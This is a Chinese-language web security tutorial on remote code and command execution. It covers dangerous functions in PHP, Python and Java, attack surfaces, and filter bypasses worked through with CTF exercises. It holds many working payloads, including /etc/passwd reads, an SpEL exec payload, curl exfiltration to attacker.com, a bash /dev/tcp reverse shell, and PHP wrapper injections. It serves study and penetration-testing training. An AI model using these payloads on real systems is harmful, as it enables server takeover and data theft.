web安全-RCE（代码执行与命令执行）

2026/7/3 23:29:11

RCE

1. 核心概念区分

代码执行：应用程序将用户输入当作代码（如PHP、Python脚本）解析执行。攻击者可以注入恶意代码，执行任意脚本功能。
命令执行：应用程序调用操作系统命令（如system()、exec()），用户输入被拼接到命令中。攻击者可以注入恶意命令，直接控制服务器操作系统。

2. 漏洞函数与危险函数清单（白盒审计关键点）

PHP

代码执行：eval()、assert()、preg_replace()（/e修饰符已废弃，但旧代码仍有）、create_function()、array_map()、call_user_func()/call_user_func_array()（配合动态函数名）、array_filter()、uasort()、unserialize()（反序列化可能触发）。
命令执行：system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_open()、passthru()、反引号``。

Python

代码执行：eval()、exec()、execfile()（Python2）、compile()、__import__。
命令执行：os.system()、os.popen()、subprocess模块（call()、Popen()、run()）、commands.getoutput()。

Java

代码执行：无直接eval()函数，但通过反射、表达式引擎（如OGNL、SpEL、MVEL）、模板引擎（如Velocity、Freemarker）、反序列化（如Fastjson、Jackson）等实现。
命令执行：Runtime.getRuntime().exec()、ProcessBuilder。

3. 攻击面挖掘（黑盒功能点）

渗透测试中重点关注以下功能点：

🌐代码/脚本在线执行平台：如在线PHP运行、Python运行、SQL在线工具等。直接尝试执行系统命令或读取文件。

Payload:system('id');、echo file_get_contents('/etc/passwd');

🖥️系统管理面板：如网络检测（ping、traceroute）、日志查看、服务启停等。这些功能常调用系统命令，可能存在命令注入。

参数注入：127.0.0.1; cat /etc/passwd、| whoami

📝评论/解析功能：某些应用支持富文本或表达式解析（如SpEL），攻击者可能注入表达式。

SpEL Payload:T(java.lang.Runtime).getRuntime().exec('calc')

📁文件上传/包含：上传包含恶意代码的文件（如PHP一句话），配合文件包含漏洞触发。

📦第三方组件/中间件：已知RCE漏洞（如ThinkPHP RCE、Struts2 OGNL、Log4j2 JNDI注入等）。使用漏洞扫描器或指纹识别后直接验证。

🔧其他漏洞引发：SQL注入写文件、反序列化、XXE等可能最终导致RCE。

4. 利用技巧与绕过手法

有回显利用

直接执行命令并获取输出。

system('cat /etc/passwd'); echo shell_exec('ls -la');

无回显利用

写文件：将命令结果写入Web目录可访问的文件。

system('cat /etc/passwd > /var/www/html/1.txt');

DNS/HTTP外带：利用curl或wget将结果发送到攻击者服务器。

system('curl http://attacker.com/?data=`cat /etc/passwd | base64`');

反弹Shell：直接建立反向连接。

bash -i >& /dev/tcp/attacker_ip/4444 0>&1

绕过技巧（结合CTF案例）

空格绕过：{cat,/etc/passwd}、cat${IFS}/etc/passwd、cat%09/etc/passwd
关键字绕过：
- 通配符：/???/c?t /???/p?ss??、cat /etc/pass???
- 变量拼接：a=c;b=at;$a$b /etc/passwd
- 编码：echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash
命令分隔符：;、|、||、&、&&、\n（%0a）
利用管道符和重定向：

# 30题示例 cp fla*.ph* 2.txt # 利用通配符和复制绕过过滤 echo shell_exec('tac fla*.ph*');

参数逃逸（31题）：利用动态参数注入额外代码。

eval($_GET[1]); &1=system('tac flag.php');

包含与伪协议（32~39题）：利用文件包含，配合data://、php://input等伪协议执行代码。

include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?> include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php # 37~39 通过包含读取flag php://input post: <?php system('tac flag.php');?>